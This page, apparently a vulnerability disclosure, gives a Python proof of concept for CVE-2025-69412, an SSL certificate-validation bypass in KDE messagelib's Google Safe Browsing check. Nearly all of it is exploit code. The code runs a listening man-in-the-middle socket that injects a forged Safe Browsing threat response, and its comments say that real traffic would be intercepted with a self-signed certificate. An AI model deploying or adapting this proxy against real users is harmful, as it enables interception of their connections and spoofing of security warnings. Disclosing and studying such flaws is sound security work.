CVE-2025-69412: KDE messagelib SSL验证绕过漏洞

# CVE-2025-69412 PoC - MITM Attack Simulation # This PoC demonstrates how an attacker could exploit the SSL validation bypass import ssl import socket import threading class SSLBypassPoC: def __init__(self, target_host="safe-browsing.googleapis.com", target_port=443): self.target_host = target_host self.target_port = target_port def create_mitm_proxy(self, listen_port=8443): """ Create a MITM proxy that exploits the SSL validation bypass This simulates an attacker intercepting HTTPS traffic """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', listen_port)) server_socket.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Target: {self.target_host}:{self.target_port}") print("[*] Waiting for connections...") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection from {addr}") threading.Thread(target=self.handle_client, args=(client_socket,)).start() def handle_client(self, client_socket): """ Handle intercepted connection and inject fake response """ try: # In real attack: forward traffic to target with self-signed cert # Application ignores SSL errors, accepting our fake certificate # Simulate fake Safe Browsing response fake_response = b'''{ "matches": [ { "threatType": "SOCIAL_ENGINEERING", "platformType": "ANY_PLATFORM", "threat": {"hash": "fake_hash_12345"}, "threatEntryType": "URL" } ] }''' # Send fake response to application client_socket.sendall(fake_response) print("[+] Injected fake Safe Browsing response") except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def generate_exploit_payload(): """ Generate malicious payload that could be injected """ malicious_payload = { "cve": "CVE-2025-69412", "type": "SSL Validation Bypass", "description": "KDE messagelib ignores SSL errors for Google Safe Browsing API", "exploitation": "MITM attack with self-signed certificate" } return malicious_payload if __name__ == "__main__": print("=" * 60) print("CVE-2025-69412 - SSL Validation Bypass PoC") print("=" * 60) poc = SSLBypassPoC() poc.create_mitm_proxy()